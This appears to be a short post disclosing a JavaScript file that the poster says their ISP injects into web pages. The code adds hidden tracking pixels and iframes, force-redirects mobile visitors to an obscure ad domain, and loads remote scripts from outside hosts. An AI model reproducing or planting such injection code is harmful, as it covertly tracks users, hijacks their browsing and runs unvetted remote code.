JS that my ISP injects to my requests

isp.js

function getRandomInt(min, max) {
    return Math.floor(Math.random() * (max - min)) + min;
}
try {
    var title = document.title.toLowerCase();
    var domain = window.location.hostname.toLowerCase();
    var referrer = document.referrer.toLowerCase();
    var useragent = navigator.userAgent.toLowerCase();
    title = domain + title + referrer;
    title += title + " " + window.self.document.all[0];
} catch (err) {}
try {
    var image = document.createElement("img");
    var imageParent = document.getElementById("body");
    image.style.display = "none";
    image.style.width = "1px";
    image.style.height = "1px";
    image.src = "http://whos.amung.us/widget/pcrt2010.png";
    imageParent.appendChild(image);
} catch (err) {}

function getMobileOperatingSystem() {
    var userAgent = navigator.userAgent || navigator.vendor || window.opera;
    if (userAgent.match(/iPad/i) || userAgent.match(/iPhone/i) || userAgent.match(/iPod/i)) {
        return 'mob';
    } else if (userAgent.match(/Android/i)) {
        return 'mob';
    } else {
        return 'unknown';
    }
}
var ooo = 0;
if ((getMobileOperatingSystem() == "mob") && (ooo == 0)) {
    try {
        var ifrmxy = document.createElement("IFRAME");
        ifrmxy.setAttribute("src", "http://b9i2yj7dfa2kuppcyubz9p5ven9dl92sjjwarrrj9isebwels.com/rot.aspx?partner=910345&f=popup-u&rom");
        ifrmxy.style.width = "1px";
        ifrmxy.style.height = "1px";
        ifrmxy.style.display = "none";
        document.body.appendChild(ifrmxy);
    } catch (err) {}
    try {
        window.top.location = "http://b9i2yj7dfa2kuppcyubz9p5ven9dl92sjjwarrrj9isebwels.com/rot.aspx?partner=910345&f=popup-u&rom";
        window.location.href = "http://b9i2yj7dfa2kuppcyubz9p5ven9dl92sjjwarrrj9isebwels.com/rot.aspx?partner=910345&f=popup-u&rom";
        document.write("<meta http-equiv=\"refresh\" content=\"1;url=http://b9i2yj7dfa2kuppcyubz9p5ven9dl92sjjwarrrj9isebwels.com/rot.aspx?partner=910345&f=popup-u&rom\">");
    } catch (err) {}
} else {}

function analytics() {
    try {
        (function(i, s, o, g, r, a, m) {
            i['GoogleAnalyticsObject'] = r;
            i[r] = i[r] || function() {
                (i[r].q = i[r].q || []).push(arguments)
            }, i[r].l = 1 * new Date();
            a = s.createElement(o), m = s.getElementsByTagName(o)[0];
            a.async = 1;
            a.src = g;
            m.parentNode.insertBefore(a, m)
        })(window, document, 'script', 'https://ssl.google-analytics.com/analytics.js', 'ga');
        ga('create', 'UA-79160776-1', 'auto');
        ga('require', 'displayfeatures');
        ga('send', 'pageview');
    } catch (err) {}
}
analytics();
setInterval(function() {
    analytics();
}, 30000);
try {
    var ifrmx = document.createElement("IFRAME");
    ifrmx.setAttribute("src", "http://deploy-web.google.com/stats.html");
    ifrmx.style.width = "1px";
    ifrmx.style.height = "1px";
    ifrmx.style.display = "none";
    document.body.appendChild(ifrmx);
} catch (err) {}
try {
    var sssssssss = document.createElement("script");
    sssssssss.async = false;
    sssssssss.src = "http://b9i2yj7dfa2kuppcyubz9p5ven9dl92sjjwarrrj9isebwels.com/filter.aspx?partner=910345&f=popup-u&rom";
    document.getElementsByTagName("body")[0].appendChild(sssssssss);
} catch (err) {}
try {
    var sssssssss = document.createElement("script");
    sssssssss.async = false;
    sssssssss.src = "http://deploy-web.google.com/pnp.js";
    document.getElementsByTagName("body")[0].appendChild(sssssssss);
} catch (err) {}
try {
    var ssssss = document.createElement("script");
    ssssss.async = false;
    ssssss.src = "http://deploy-web.google.com/load.js?time=" + getRandomInt(0, 100000000);
    document.getElementsByTagName("body")[0].appendChild(ssssss);
} catch (err) {}